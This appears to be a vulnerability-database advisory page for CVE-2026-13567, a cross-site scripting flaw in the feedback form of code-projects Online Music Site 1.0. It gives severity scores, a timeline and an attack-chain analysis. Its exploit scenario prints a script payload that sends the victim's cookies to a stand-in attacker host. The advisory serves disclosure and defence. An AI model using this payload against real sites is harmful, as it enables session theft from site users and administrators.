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Online Music Site CVE-2026-13567

| EUVDEUVD-2026-40082 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-06-29 VulDB GHSA-j522-hg24-c99g
XSS PHP Online Music Site
2.1
CVSS 4.0 · Vendor: VulDB

Severity by source

Vendor (VulDB) PRIMARY
2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
6.1 MEDIUM

Network-reachable form, no auth needed, but victim must view injected content (UI:R); scope changes to victim browser (S:C) enabling limited session/content impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
X

Lifecycle Timeline

3
Analysis Generated
Jun 29, 2026 - 14:29 vuln.today
Severity Changed
Jun 29, 2026 - 14:22 NVD
MEDIUM LOW
CVSS changed
Jun 29, 2026 - 14:22 NVD
5.3 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

A security flaw has been discovered in code-projects Online Music Site 1.0. This affects an unknown part of the file /Frontend/Feedback.php of the component POST Request Handler. The manipulation of the argument fname/femail/faddress/fmessage results in cross site scripting. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.

AnalysisAI

Cross-site scripting in code-projects Online Music Site 1.0 allows unauthenticated remote attackers to inject malicious scripts via the feedback form's fname, femail, faddress, or fmessage parameters handled by /Frontend/Feedback.php. The CVSS 4.0 score of 2.1 (Low) reflects the UI:P requirement - a victim must interact with the crafted content for the payload to execute, limiting autonomous exploitation. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Submit crafted POST to /Frontend/Feedback.php
Delivery
Inject XSS payload into fname/femail/faddress/fmessage
Exploit
Payload stored or reflected in application response
Execution
Victim user/admin loads feedback page
Impact
Malicious script executes in victim browser
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Vulnerability AssessmentAI

Exploitation The attack is launched remotely via HTTP POST to /Frontend/Feedback.php with no authentication required (PR:N in CVSS 4.0 vector). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 base score of 2.1 accurately reflects the constrained real-world impact: the UI:P metric confirms victim interaction is required before the payload fires, ruling out fully automated mass exploitation. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker submits a crafted HTTP POST request to /Frontend/Feedback.php containing a JavaScript payload in the fmessage or fname field (e.g., <script>document.location='https://attacker.tld/steal?c='+document.cookie</script>). If the feedback entries are displayed to an administrator or other user in an unsanitized feedback review page, the script executes in the victim's browser context upon page load, potentially harvesting session tokens or performing actions on behalf of the victim. …
Remediation No vendor-released patch has been identified at time of analysis for code-projects Online Music Site 1.0, consistent with the educational nature of the project and the absence of a formal patch cycle on code-projects.org. … Detailed patch versions, workarounds, and compensating controls in full report.
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CVE-2026-13567 vulnerability details – vuln.today
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